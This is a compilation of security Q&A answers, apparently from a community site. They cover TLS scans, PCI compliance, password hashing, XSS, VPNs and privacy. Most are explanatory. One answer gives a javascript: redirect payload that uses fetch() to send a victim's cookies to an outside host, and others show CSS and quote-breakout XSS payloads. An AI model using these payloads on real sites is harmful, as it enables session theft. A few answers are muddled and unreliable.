|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 4096) - A
|       TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA (dh 4096) - A
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 4096) - A
|       TLS_DHE_RSA_WITH_SEED_CBC_SHA (dh 4096) - A
|       TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA (dh 4096) - A
|     compressors:
|       NULL
|     cipher preference: server
|     warnings:
|       Key exchange (secp256r1) of lower strength than certificate key
|   TLSv1.2:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
|       TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 (dh 4096) - A
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 (dh 4096) - A
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 4096) - A
|       TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA (dh 4096) - A
|       TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (dh 4096) - A
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 (dh 4096) - A
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 4096) - A
|       TLS_DHE_RSA_WITH_SEED_CBC_SHA (dh 4096) - A
|       TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA (dh 4096) - A
|     compressors:
|       NULL
|     cipher preference: server
|     warnings:
|       Key exchange (secp256r1) of lower strength than certificate key
|_  least strength: A

Nmap done: 1 IP address (1 host up) scanned in 4.76 seconds

Note: SSL data will show up as well it just wasn't configured on this server. You can also automate this script to run at regular intervals and report on non-compliant findings.


Would `cat /dev/random` be a denial of service to any other users of `/dev/random`?

Yes it would. The blocking random device reads from a single entropy pool and blocks when the entropy estimate goes under a configurable threshold. At this point, any reads from the character device will block, regardless of who is reading. This is just one of many reasons why developers should instead use the non-blocking device or the getrandom() syscall instead.


Is a Captive Portal Wifi AP as insecure as an open unencrypted Wifi?

Yes, wireless networks protected only by a captive portal are unsecured. They work by denying access to websites other than the captive portal until the connected device, identified by MAC address, has clicked through the portal. Requests to non-HTTPS sites made through the network are sent in the clear, the same as an entirely open network.


How to implement PCI DSS requirement 3.5.2?

Think of the Data Encrypting Key as a "session key" in SSL.  It can/should be a random value that you would spin up for the purpose of encrypting an account number.  The Key Encrypting Key would be the public key retrieved from a certificate.  You use the KEK to encrypt the DEK, then throw away the plaintext DEK after encrypting the data.  Meanwhile, the private key (paired with the public key on the certificate) remains securely locked up inside a protected environment, far away from the data environment.  And yes, this is a best practice.
I would never store the plaintext DEK.  Instead, encrypt the DEK with the KEK, and store only the encrypted DEK.
An HSM provides a tamper resistant environment to house cryptographic operations, and is preferred for sensitive operations like key decryption.
Use an algorithm like Shamir's Secret Sharing.  It allows you to split the key into several parts, and requires a certain number of parts to reassemble it.


how to detect the origin of a hacker attempting to breach or who has sucesfully breached a network or system

As a rule, this is a fruitless endeavor.

It is very uncommon for a hacker to log in from his home IP or from any server directly traceable back to him. It's far more common for hackers to use previously-hacked targets as jump-off points for future attacks. Often attackers will also use other relays (such as IRC bouncers or public IRC networks) to relay commands to infected servers.

You can often trace the attack back to the server from which the attack was launched, but that almost certainly will not belong to the perpetrator. Theoretically you can get the logs from that server and attempt to trace the attack hop-by-hop. But in practice, this never happens. Often the attacks cross political borders making this sort of cooperation effectively impossible. Furthermore, even if you can trace his original IP, it will many times belong to a location not directly traceable to him, such as a coffee shop or an internet cafe.

But if you have the logs, it can be helpful to get the IP address of the last hop primarily because you can then analyze all traffic logs relating to that IP to see how and when the attack happened, and to help you identify additional attack components that you may have missed.

As for how these hackers get caught
Very rarely is the attack actually traced directly back to the perpetrator, as covering your tracks is reasonably simple. Instead, attackers are found by other means. For example: tracking someone bragging about the attack on IRC, analyzing the use of stolen information, identifying the twitter account of someone who took credit for the attack, or plain old snitching by ex-friends or informants.


Do you need to hire a professional in order to be pci compliant?

If you handle credit card numbers, then yes, you have to be certified by a qualified auditor and this certification requires you hiring an external/independent PCI qualified security assessor.

However, you don't have to handle credit card numbers to be able to receive credit card payments. Instead, most smaller merchants use a PCI compliant payment processor like Stripe or PayPal to process card transactions. This reduces the scope of your PCI compliance signficantly, and you can be PCI compliant by just doing the PCI SAQ (Self Assessment Questionnaire), which you can do yourself without hiring a PCI auditor. Depending on your business type and how you handle card payments, there are different SAQs. The SAQ questionnaires will tell you if you need to actually use an auditor, which is primarily based on the volume of your expected transactions,  mechanism you integrate with your payment processor, and how you handle card data.

Primarily, you want to outsource as much as possible of your payment processing to the payment processor to reduce your scope and avoid handling card numbers.


I think many of your questions (eg SHA-512 vs bcrypt) are answered in the guide linked to by AviD. But it doesn't actually say anything about PHP, so I'll answer that part.

Hashing a Password in PHP5

It's good that you want to understand the underlying concepts, but actually securely hashing a password in PHP5 is quite easy:

$hashedPassword = password_hash($plainPassword, PASSWORD_DEFAULT);

That's it. Store it in the database, use password_verify to compare, and you're done. password_hash will create a per-user salt for you, so you don't need your step 2 or 3[*]. You also don't need the first part of your step 4 (it's enough to hash once).

The result of this will be of the form $hashFunctionId$options$saltHash. The hashFunctionId and options (the cost) are used to store information on how the hash was created.

[*] I can see why it's confusing though, because so many guides explicitly mention the important of per-user salts, so it might seem odd that PHP actually does the work for you

password_hash options

So what is the use of the other options of password_hash if hashing is that simple?

PASSWORD_DEFAULT means that currently bcrypt will be used, but if there are better methods in the future, those will be used. If for some reason you do want control over this, replace it with PASSWORD_BCRYPT.

You can pass a salt which replaces the auto-generation of a salt. This is useful if you want to get the same output when hashing the same password, or if you want to include a pepper.

And you can pass a cost, if you think that the default cost of 10 is not enough for you.


Your .75 machine (the client) sends an "encrypted alert" message. If it does that, then this machine, at that point, believes that the connection is still up and running, and the server will be able to receive the alert message, and in particular decrypt it. Otherwise, what would be the point of sending that message ? Therefore, it is probable that the FIN message from the server has been sent after receiving this alert. Quite possibly, the client sends an alert which triggers the connection closure, and the server reacts by closing the transport medium (the FIN packet).

Note that in a normal handshake, the server will wait for reception of the Finished message from the client (the "encrypted handshake message" after the Change Cipher Spec) before sending its own Change Cipher Spec and Finished. We see that here, so the server was able to process the Finished message from the client, including decryption, MAC verification and message contents.

Assuming that both implementations conform to the standard, the "encrypted alert" message is not a close_notify warning. A close_notify is an alert message which warns the recipient of the intention of the sender to gracefully terminate the connection. The recipient must then reply with a close_notify of its own, marking its acceptance of that fact. Here, the client sends an alert message but no alert message is sent in response by the server, so we might surmise that we are not witnessing a graceful termination with a pair of close_notify. Most plausibly, the client's alert is a fatal alert, which tells to the server that something is amiss, and that the connection is doomed. The server can then only close the transport medium because there is nothing else that it can do at that point.

There is no indication as to what bothered the client enough to make it send an alert; however, there are rather decisive indications that all cryptographic operations went well.

You may want to run two network captures on both systems, so that you may get precise timings for all packets; it helps in reconstructing the actual sequence of events.


This policy might prevent breaking out of a double quoted style attribute as in

<div style="payload goes here">

or if this CSS is stored in a DB it might be a SQL Injection filter.

To answer your question though, yes, you can still attack the CSS itself with single quotes

margin-left:expression('alert(1337)')

which will work on IE7 and older or in some more recent IE quirks modes and it won't stop you from embedding double quotes visible to CSS as in

margin-left:expression('alert(\22 pwned\22)')


Possible to prevent Juice Jacking by only connecting USB pins 1 & 4?

Many phones allow you charge with only power and ground connected. Some phones (looking at you, Apple) use the data lines to determine whether or not the charger is "permitted" to charge your phone. Other phones still (some Android phones in particular) explicitly ask you to decide what to do with the USB connection -- e.g. charge only, or mount as usb drive, or application-specific data connection.

Some USB cables (often the cheap ones you get with a cheap charger) will only run power and ground leaving the data lines unconnected. It's pretty trivial to tell if you have one of them by attempting to use it for data and see what happens.

While I don't belive that any "adapters" exist for this purpose, it would be very simple to make one: just take any existing adapter and clip the data lines. Just bear in mind that with some devices (e.g. apple) this will prevent charging.


Is it possible to "fingerprint" the "patches" applied to a Windows system?

It is possible to do an unauthenticated network fingerprint for certain patches, but only a few. Nessus is one tool, and it can find e.g. MS08-067, MS12-036, with no credentials. You can use Nessus for free under the home license. Nmap also has some scripts for this (e.g. MS08-067) although be aware that this is different to the fingerprinting Ramrod mentioned in his answer.

A lot of patches don't affect anything that's directly network-accessible, e.g. Internet Explorer patches. You can do a similar test by having the client visit a website that checks it. Qualys BrowserCheck is one example.

The usual way to do patch scanning to do scan using administrator credentials. There are lots of tools that do this (including Nessus). In theory I expect you can do pretty good patch scanning with non-admin credentials. However, I don't know of any tool that does this - and I doubt anyone would be particularly interested in creating one.


Securely send password to script as parameter

If someone had access to the filesystem of the server, they could also read the password. If you run a ls -al /proc/<pid-of-another-users-process>/cmdline command, you can see that it can be read by everyone.

There are multiple ways of how to solve this.

The first stdin approach

First, you start a process in php, and then communicate with it through stdin/stdout pipes: tutorial, manual.

The expect script reads from the stdin and stores the username and password into variables:

#!/usr/bin/expect
# Read input to stdin
expect_user -re "(.*)\n"
set username $expect_out(1,string)
expect_user -re "(.*)\n"
set password $expect_out(1,string)
#only for testing purposes:
puts "got $username!"
puts "got $password!"

The second stdin approach

If you run expect in the console, you can see that it accepts its program from stdin. You can invoke a new process expect, and give it an expect script created in your php script, with the password hardcoded, through stdin.
It may be possible you need to close the stream to get the code executed.
Make sure you make the right escapes to not turn this into a expect code injection vulnerability.

The temporary file approach

You can write the username and the password into a temporary file (filename unique to the current invocation!) and read it from the expect script later. Or you can even generate a temporary expect script with the password hardcoded, but I'd recommend against it, as its too hacky. The file should be only accessible by your current user.


Could Intel SGX be dangerous under Linux?

SGX can be used to protect critical operations (like cryptography using secret keys) against inspection from outside the SGX enclave. It can also be used by an attacker already on the system to hide his activities against inspection. Thus, unsurprisingly there is no absolutely good or absolutely bad - it depends a lot on your specific (and unknown to us) environment and risk profile.

And the same is true for Computrace too. The control it allows a remote party can be used for good and bad, where the intention is actually to be used for good: track down stolen notebooks. And to make this possible it is actually necessary that it can not be simply disabled by an attacker.


What is the best way to verify email address or phone number during call centre sale?

Voice calls are subject to error and misunderstanding. You should bring some other means of getting data from user, e.g. web forms or SMS.

Anyways, you better set some arranged response, then send a simple empty verification e-mail to that client expecting that.

For example, you can tell the customer a 2-digit number over the phone which must be written in the  reply to your verification e-mail. You may trust the e-mail as soon as you get reply including that 2-digit number.


What happens when the timestamper's certificate expires?

What happens when the timestampers certificate expires?

Literally, nothing.

  If the code is now untrusted, can it be re-stamped without re-signing?

it is not correct statement. Timestamped signature remains valid even when all certificates in chains (both, signing and timestamping) are expired. This is what timestamping does -- keeps signature valid after certificate expiration. Timestamp in signature proves the signing time and it must be within all certificates validity periods.

Moreover, timestamped signature is still valid when signing certificate was revoked after signing time. Signature validation code can determine whether the signing certificate was valid (not revoked) at timestamping date and time.

You can read my blog post on the subject in more details: Digital signatures and timestamps


Is cryptography legal in India?

Yes, it is legal.

  If yes, then what type of encryption is not allowed?

Short answer is that there is no specific standard.
I found this website that explains various facts. I would recommend to go through it.

The [Department of Telecommunications (DoT)] is responsible for deciding what bits are allowed to route through the India's computer network. This department decides all the regulations regarding the IT services. There are different licenses issued for running different type of services. Depending upon what service you want to run you have to obtain license from the DoT. Here you can read all type of licenses offered by DoT.
The Information Technology Act 200  also doesn't talk about encryption standard to be used or allowed. How ever in various other resources there are some standards defined. For an example:

The government’s Department of Telecommunications (DoT) in the ‘Guidelines for the grant of Licence for Operating Internet Service’ (ISP Guidelines) and in the ‘Licence Agreement for the Provision of Internet Service’ (ISP Licence Agreement) that is entered into between the DoT and the Internet Service Provider (ISP) for the provision of internet services in India has laid down that the individuals and corporates while using the ISP services are permitted:

“to use up to 40-bit key length in the symmetric key algorithms or its equivalent in other algorithms without having to obtain permission from the DoT, but for use of any encryption equipment higher than this limit, the same can be done only with the prior approval of the DoT”.

Similarly standards are defined for other sectors too.

This post discusses that modifications are required to establish better IT security standards in India.


Debug every process to reduce the risk of successful malware attack?

Would it (a) be practical and (b) reduce the risk of a successful malware attack if one either:

  attaches a dummy debugger to every userspace process at creation?
  has a hook which tells a user's processes that a debugger is attached, if asked? e.g. LD_PRELOAD on Linux, and I believe from WGA cracks that Windows has some API for this too.

From a Linux perspective

LD_PRELOAD can only be used with dynamically linked binaries. It is not uncommon for ELF binaries developed for criminal purposes to be statically linked; examples include

Linux/Moose
Linux/Shashinga
Linux/Elknot

and so on.

As for attaching a dummy debugger to every userspace process at creation, consider the following:

taking advantage of the fact that a process cannot call ptrace(PTRACE_TRACEME,...) more than once is only one of several anti-debugging techniques. If use of any single anti-debugging technique results in high detection/failure rate, malware creators will adapt and the technique simply will no longer be used. Some well known executables do not even bother with anti-debugging tricks at all: Mirai and its ilk are a prominent example of this.
userspace process creation is managed by the kernel (and if the program is dynamically linked, the dynamic linker as well). This means that if one wishes to make changes to how a program is mapped into virtual memory, one must make changes to the kernel. Does it make sense to fundamentally alter the way the kernel loads programs into memory across all architectures in order to do something like attaching a dummy debugger to each userspace process on creation, only to watch malware authors simply stop calling ptrace(PTRACE_TRACEME,...) in their binaries as a result?
attaching a dummy debugger would revolve around use of the ptrace system call. Use of ptrace has far-reaching implications for process behavior and could even render the system unusable, due to the fact that a traced program's execution pauses upon receiving a signal:

  While being traced, the tracee will stop each time a signal is
     delivered, even if the signal is being ignored.  (An exception is
     SIGKILL, which has its usual effect.)  The tracer will be notified at
     its next call to waitpid(2) (or one of the related "wait" system
     calls); that call will return a status value containing information
     that indicates the cause of the stop in the tracee.  While the tracee
     is stopped, the tracer can use various ptrace requests to inspect and
     modify the tracee.  The tracer then causes the tracee to continue,
     optionally ignoring the delivered signal (or even delivering a
     different signal instead).

So no, neither of these proposals are practical or improve security.


Do any antivirus products use "canary files" to detect rootkits?

I am not aware of any common anti virus product for end users doing this.

Many root kits, however, use either absolute paths or put their files into well known operating system folders. So an approach, that put canary files into an arbitrary folder, is not likely to catch many root kits.

But putting the canary files outside the the anti virus folder, is likely to raise suspicion about a real infections. This makes live for anti virus vendors a lot harder because it will create extra support requests and in the worst case may result in bad press coverage: "Anti virus A infected with rootkit B as discovered by anti virus C".

Dedicated rootkit detection tools might try this approach. On a quick glance chkrootkit, however, is primary based on detecting inconsistencies: For example it uses different ways to list processes (chkproc) and folders (checkdirs).


What is the benefit with passwords that are always 50% numbers and 50% letters?

Warning: A previous version of this answer contained a big math error leading to incorrect conclusions. It has now been fixed.

Let's calculate some entropy!

A random password consisting of 8 lower case letters or digits:

log2((26 + 10)^8) = 41.4 bits

A random password, where exactly 4 characters are lower case letters and exactly 4 are digits:

log2(26^4 * 10^4 * (8 choose 4)) = 38.2 bits

A random password, containing exactly 8 lower case letters:

log2(26^8) = 37.6 bits

So, what conclusions can we draw from this?

As you can see, we lose some entropy - almost 3 bits. This means the password would be about 7 times faster to crack.
To do this to avoid passwords with only lowercase is a bit misguided, since now all passwords are almost as bad as lowercase only passwords.
The best guess is probably that this is a UX decision. The mix makes them easier to remember and read aloud. The loss of entropy (less than the equivalent of removing one character) could be deemed "worth it".


How long is Key lifetime of AES-GCM key?

The answer is in the NIST 800-38D, you can access it from ACM now.

  The total number of invocations of the authenticated encryption function shall not exceed 2^32, including all IV lengths and all instances of the authenticated encryption function with
  the given key.

Note: not the secret key the message can be retrieved.


Can it be dangerous to curl without any option an HTTP address?

If the site was designed to exploit a vulnerability in curl or sed, then yes, it would be dangerous.
But the likelihood of that being a threat would depend on curl vulnerabilities and the site being so designed. It is unlikely that a site run by a Fortune 500 company would be so uniquely and narrowly programmed.


Is my browsing history on the server hidden when I use a VPN?

I'll assume it's your own computer, because you likely wouldn't care about your IP being static otherwise.

If you use a VPN, your network activity is encrypted from you all the way to the VPN service.  They're not going to see it, but they'll likely know you're using a VPN if that matters.  This is one of the primary functions of using a VPN.

Just make sure to check https://www.whatismyip.com/ before browsing to make sure your VPN is working correctly.


How secure is the new Mega-site encryption?

The details are relatively scarce, but section 5 of ht developers' page you link to describes the kind of encryption they apply. Bottom-line: they don't say it explicitly, but it is basically CCM mode, albeit with some simplifications in IV management. They don't talk about padding and length encoding, and this might be an issue.

Also, the file is split into chunks, each chunk having its own MAC, so that you may "process" chunks individually. However, it seems that there is no sequence number in the MAC thing; as far as the text says, the IV for the MAC of the second chunk is the CBC-MAC of the first chunk, which is bad because it could be altered by a malicious individual. In practice, this means that the per-chunk MAC is useful only if you stream the data from the beginning, in due order; random access would be susceptible to attacks.

The main concept of using a per-file key is sound, but it requires some careful handling of the keys and there is not enough detail on the page to decide whether things were done properly or not. The whole thing reeks of a homemade construction and it is known that homemade constructions are fertile ground for vulnerabilities.


Exploit: Send cookie to another server from url

The simplest way would be to use the fetch() method.

?redirect_uri=javascript:fetch("https://example.com/"+document.cookie)


Is my IP address leaked when I send messages on Protonmail?

No. No user IP information is included in the message, ever. Source: I work for ProtonMail and am deeply familiar with this code.


Does ATA security support or allow for 2FA?

The ATA Security feature set is very limited. It has only a few different capabilities:

Erasing - Wipes the drive with manufacturer-specific data.
Locking - Blocks access until a 32 byte ASCII password is provided.
Freezing - Prevents modifying security settings until the next restart.

This is all it can do. Locking ATA drives can be done using either the master password, which is a manufacturer-defined skeleton key, or the user password, which is set by the user (or NULL by default). When the drive is set to high security, the master password can be used in lieu of the user password. When the drive is set to maximum security, the master password can only be used to erase the drive. Setting a security password involves sending a SECURITY_SET_PASS command along with the password type and the password itself, in the form of 32 ASCII bytes padded with NULLs if shorter or truncated if longer. Unlocking the drive is similar, except it uses the SECURITY_UNLOCK command.

A drive can be in one of several security states, from SEC0 to SEC6. From the ATA 8 standard:

A state transition table is available at figure 12 in section 4.20.11 of the same document. A nice and less technical overview of the ATA security feature set can additionally be found here.

So no, 2FA is not supported, only locking and unlocking with a 32 byte ASCII key is.


How does an end user differentiate between OV and DV certificates?

There is no difference between DV and OF in the browser's identity field.  The screenshot below shows this field for Chrome, Firefox and MSIE. For both DV and OV, only the URL (no company name) show in the identity field.

When the site has EV, the company name is displayed along with the URL. Chrome and MSIE use green background to the company name, while Firefox will use green text for the company  name.

However, if you look at the certificate itself, you will see the difference.

The two screendumps below are both from the Firefox certificate viewer.

The screendump below is from a site with only Domain Validation (DV). As you can see, there is no information about the organization in the certificate.

The next screendump is from a site with Organization Validation (OV).  Here you can see the name of organization that own the domain.

You will also find the name of the organization of a site with Extended Validation (EV). The difference between OV and EV is that the company name is displayed in the browser's identity field if the site has an EV certificate, but not if it has a OV certificate.

Another way to tell DV and OV certificates apart is to inspect the numeric policy identifier (appears under the certificate's "Details"-tab if present). Please note that this identifier is not adopted by all CAs. Values used for the policy identifier are show below:

DV 2.23.140.1.2.1
OV 2.23.140.1.2.2


Should I backup a GPG key used for Authentication?

In general, you should back up data you think is valuable and don't want to lose, especially data that you cannot easily recreate.  Whether that applies in this case, since you can create a new signing key (assuming you have a revocation certificate for the old one) is up to you.  There is no single right answer for this case.
Note that backups need not be done insecurely.  I use Tarsnap for backups, which is a service that implements client-side encryption and deduplication, so all the server sees is just chunks of encrypted data.  Therefore, I feel comfortable backing up things like secret keys since only I can get at the data.


Storing the key:
As mentioned in this answer you can store the secret key safely in two ways:

A key file
A config file

You have to ensure that both of these files are not visible to everyone and neither can be served by the web server.

Distributing the key:
As for distribution, you can send the key via an SSL communication between the servers. This will ensure that you are sharing the key with legitimate parties and also handle the secure channel to distribute the key.


How to protect from new Javascript Injection technique that doesn't use eval()?

Its all XSS,  its not proper to call it "JavaScript Injection".  The XSS vector you are talking about isn't new,  and its an interesting one.   XSS is an output problem.  If you perform the same input validation on all input you'll still have problems with XSS.  If you encode or strip all < > characters for every input variable you'll still have huge problems with xss.  This is because XSS is highly dependent on where the variable is being printed to the page.

This line of code is safe:

var x='alert(123)'

However,  it can be exploitable if the attacker has access to single quotes ' .   For instance if the attacker had a request like ?x=';alert(123);,  then he would be able to break out of the quote marks and execute javascript.   The solution is to encode all quote marks as well.   In php you can use htmlspecialchars($var,ENT_QUTOES);

But here is the real kicker,  even this function can't stop all XSS.  It will stop about ~90% of xss.  But even after a htmlspecialchars($var,ENT_QUTOES); you can still run into problems with DOM based xss  and XSS via event handlers.

So whats the real solution?  Test your code!   Use a free vulnerability scanning service like Sitewatch or an open source tool like Wapiti.  These tools know all of the strange rules for XSS, and it will be able to find these violations in your application.   Google uses Sitewatch.


Is the HMAC weakened if a part of the message is part the key?

No, its not weakened. The HMAC ensures that even if some of the key is known, the remainder remains unchanged. Otherwise there would be zeroes instead of the version number. However, the HMAC isn't made "stronger" either.


Virus in browser - affects chrome most of all

There are several ways such an ad-injecting malware might work and it does not even need to be installed on your system. Common ways are:

Browser extension: there were several prominent cases where common browser extension were sold and went malicious. These probably can do anything, including manipulating data accessed by https.
Local proxies. In this case there is a local proxy which rewrites the traffic. This is often coupled with injecting a new CA into the trust store so that https traffic can be manipulated too. Check your proxy settings. Note that it is not enough to just reset the proxy settings because usually the malware will change these again.
Hijacked router. In this case all devices in the network are affected and https traffic is not modified (or would cause browser warnings).

But it is not clear what exactly is the reason in your case and how it can be resolved.


This might be a SoftAP or Wi-Fi Direct, some "smart-devices" (Not sure what word to use) that can connect to the internet comes with a this feature to redistribute your internet or to create an ad-hoc connection.

For examples some TV's

Or Roku streaming devices

In your case it's a Wi-Fi Direct because of the SSID you provided. Check the configuration of something new you just bought maybe?


How to export my Protonmail private key?

The password for your private key is now the hashed value of your Mailbox Password (if you are using 2 passwords) or of your Login Password (if only using one password). You must now also get the KeySalt value and use bcrypt to get the hash value.

I followed the steps listed here to download my private key password using Firefox:
https://github.com/scastiel/protonmail-export/issues/6

  Login to ProtonMail
  Get the salt value from the same cookie response as the GPG private key:

  Switch to the console tab in the developer options
  Run the following, but replace < LOGIN PASSWORD OR MAILBOX PASSWORD > and < KEYSALT FROM STEP 2 > with their corresponding values:

  password = "<LOGIN PASSWORD OR MAILBOX PASSWORD>";
  salt ="<KEYSALT FROM STEP 2>";
  saltBinary = pmcrypto.binaryStringToArray(pmcrypto.decode_base64(salt));
  keySalt = dcodeIO.bcrypt.encodeBase64(saltBinary, 16);
  bcryptKey = dcodeIO.bcrypt.hashSync(password, '$2y$10$' + keySalt);
  key = bcryptKey.slice(29);
  console.log(key);
  The console output is the password for your private key


How to expose a client's real IP address?

If you run the forum software, then you implicitly know the IP of anyone who connects. Whether the forum software stores that information for you to see depends on the software, but it's always possible.

This isn't a weakness or vulnerability of the software, rather it's a necessary component of how the Internet works.

Note that questions on how to configure your specific forum to show you this information are not on-topic for this site.


Can key files be brute-forced like passwords?

Yes, it is the same: keyfiles can be brute-forced.

A key file is like typing your password and storing it somewhere, instead of typing it everytime.

To the program (in your example, TrueCrypt), passwords and keyfiles and every other information is used to feed the encrypt / decrypt algorithm. It doesn't matter where the information comes from. To break the encrypt, one needs to perform the corresponding decrypt step using the same information that was used in the encryption. If it was a password, a password + keyfile, or a password + keyfile + a number that comes from a device that reads fingerprints, it's the same thing.

Keyfiles, in general, make it more secure because they use all the possible bytes inside it, so you have 256 combinations for each "character" inside the keyfile. When someone chooses a password, in general uses just letters, numbers and some symbols. The entropy provided by the key file is, usually, bigger.


Account Recovery: Displaying username without verification

As a developer you must make sure that your customers Email-ID/Phone are not given away to any unauthorized people.

For any valid email input you just show the user irrespective if he/she is registered or not.

  username send to the email.

This way attacker can never find out if user is registered or not. Email is sent only to registered user via backend.

If you feel that message is bit confusing for user. You can display

  If your account is found in the system, we will mail you the username.


In a TOTP implementation, does there need to be an expiration policy for the user's secret key?

I would say: You should not have a secret key at all. As you are intending to SMS or E-mail out these tokens, this means theres no need for a secret key at all.

Instead, I would suggest just random up a token, save it in database with a expiry time (like 90 seconds from now), and then send it out. Each attempt at entering the token should invalidate the token and ask the user for the opportunity to send out a new token, so each token are always "1 attempt, successful or not".
Also add a Captcha to prevent someone from launching a random attack in the hope of "hitting the right code first time by just luck".

Theres no need to use TOTP protocol at all, if you are not intending to allow the user to save the seed into their own device and then generate codes "offline".

If you however allow the user to save down their seed "offline", for example to provision Google Authenticator, then it can be a good idea, but it is not industry practice, to reprovision token sometimes.

If you are going to still use a "seed" or "secret key", I would suggest using HOTP instead, eg event-based codes.
Because with TOTP you will have the issue of sometimes sending out already expired tokens, because TOTP works like a clock that "ticks" each X seconds, in your case, 90 seconds. If the clock is at lets say "85 seconds" and you send it out, it will have already expired when it arrives to the user, both adding unneccessary cost to you, and also adding frustation to the user.


As you're handling cardholder data, you're in scope for PCI and should be compliant.

Depending on the volume of cardholder data you're handling, you may be able to self-assess rather than require an on-site assessment by a QSA.

You should ensure you're receiving the card data over a secure HTTPS implementation i.e. using TLS v1.1 or TLS v1.2. You can test this on ssllabs.com

You should ensure the third party you're engaged with, and who is handling your customers cardholder data, is PCI compliant.

In terms of other risks, you should ensure the web interface/form presented to the client has been developed using secure software development lifecycle processes. Also, review the PCI DSS as there are plenty of requirements to implement and security processes to adhere to.


How to protect unauthorized logins in case DB server gets compromised?

Effectively, all the attacker is doing is changing users' passwords. This would enable the attacker to login to those users' accounts. As for how you protect against this, I'm not sure you should bother. If someone has read/write access to your DB you're pretty much sunk. You need to protect from someone obtaining read/write access to the DB in the first place, not try to prevent someone who has write access from just changing someone's password.

This is sort of like wondering, if someone breaks into your home, how could you stop them from opening the fridge and stealing your beer?


Can robots.txt for your face be made effective?

Although Google Glass makes the issue look whole new and technological, this is actually very old news. To make it short, there is no privacy in public places.

Indeed, whenever you go out on the street, you show your face to the World at large, opening up the possibility that any bystander recognizes you. This is by design. That's how civilization in general works. To make it more precise, individuals are, by nature, able to conceive their own plans and act on their own (some people would call it free will). In a society, people must cooperate to handle shared resources, be it food, water, or simple space. Laws define the boundary of free actions, but enforcing laws is expensive; there just are not enough law enforcement agents to verify that everybody acts lawfully (including the agents themselves). Society can remain lawful only because most people are basically honest and law-abiding. Why are most people honest ? Mostly because they were educated that way, and kept under, let's say, continuous formation, by social pressure, which in turns relies heavily on non-anonymity.

It is depressing, but well recognized, that when people feel that they are anonymous, many of them will begin to act as jerks (not all of them, perhaps not even most of them, but sufficiently many to become a big issue). In pre-urban societies, there is no privacy. For instance, consider how indigenous North Americans lived before the arrival of Europeans: they lodged in longhouses, which are communal buildings, meaning that in order to be alone, they had to walk away from the village. Later, when housing could provide some one-person rooms, it became possible to have a bit of privacy -- but not much. In an 18th century New England village, everybody knew everybody, and the people as a whole felt entitled to have strong moral opinions on what everybody else does at all times. Gossip was not only tolerated, but actually encouraged, in that it allowed moral pressure to be exerted.

Later times have brought the luxury of privacy, mostly because of the sheer size of cities: it is no longer possible to know everybody and be known by everybody, so you keep on meeting total strangers who you do not recognize, and who do not recognize you. Space is separated between public space, morally shared by everybody, and private space, claimed to be "his own" by some individual. Laws theoretically apply to everybody regardless of where they are, but some laws are specific to the public space. This includes, of course, laws about decent clothing (you can be naked in your home, not in the street), but also, and that's where I was going, about concealing your identity.

A "robots.txt for your face" is called a mask. That's hardly new technology. And there are laws about masks. That page lists laws in various US states; many other countries in the World have similar regulations, and they got some revival recently, in some European countries which passed bans against integral Muslim veils in public areas (e.g. in Belgium). Although these recent laws were fueled by some controversial undertones (some people are against Islam in general; some people view it as a tool to emancipate women;...), the official and theoretical core of these laws is the basic principle which I have alluded to above: in public areas, you shall not be anonymous (potentially). This means that while there is no obligation to shout your name, address and blood type every ten seconds, it should still be possible for bystanders to see your face and be able to recognize you later on, should an inquest about some crimes be run. Late actuality in Boston has shown this principle at work: in times of crises, witnesses (and amateur videos and photos) can be used to identify suspects.

Whether all of this is morally good or not is an open debate; but, right now, continued operation of society relies on this potential non-anonymity of citizens when in public areas. Changing that is akin to people all wearing masks when going outside. This is a revolution of all social structures. Controlled experiments of that kind have been performed for centuries; these are called carnivals: valves to evacuate social pressure overflows, under strong boundaries to avoid the whole thing degenerating into chaos. It is conceivable that a society with strong anonymity in public places is possible, but it would still be a far-reaching change from today's state of affairs.

The Internet brings on a twist on all this. Indeed, on the Internet, people's identity works as a whitelist, not a blacklist. A mask is a blacklist: it blocks some specific features of your identity. On the other hand, on the Internet you show only that which you are willing to show. One billion Facebook users are apparently willing to show a lot (and, to their own surprise, a lot more than what they actually expected), but it is still mostly a conscious push effort.

This yields the pervasive feeling that Internet provides anonymity by default. This apparent automatic privacy, and the lack of biological feedback when you interact with other people over the Internet (typed text is not as rich as voice modulation and facial expressions), tends do disinhibit people. A cursory look at comments on Youtube will show that the Internet seems full of jerks... which is an illustration of the possible clash between "civilized society" and "anonymity". Being anonymous is not bad in itself, but it opens the possibility for people to show how much disrespectful they are, and, for some of them, that "how much" can reach high summits.

When you mix the Internet and social behaviour, you get interesting clashes. Disparaging comments in public forums, abrupt discovery of the lack of assumed privacy of your Facebook data, and Google Glass, are three facets of that kind of clash. Google Glass is not qualitatively different from hiring a private detective, to identify every people you encounter in the street; but it is much cheaper to the point that it makes it possible even in big urban societies. This may force us to reconsider some social rules.

For instance, some people (like you, apparently) react to the possibilities offered by Google Glass by looking for a mask -- which laws do not permit (depending on the country, of course; in Japan, they allow wearing masks, and many people do -- but they have their own ways with social pressure).

Ultimately, Google Glass brings us back to the "Village" stage, where everybody knows everybody. So it is not new; we have experience about what that means. And it is not specific to Google Glass either.

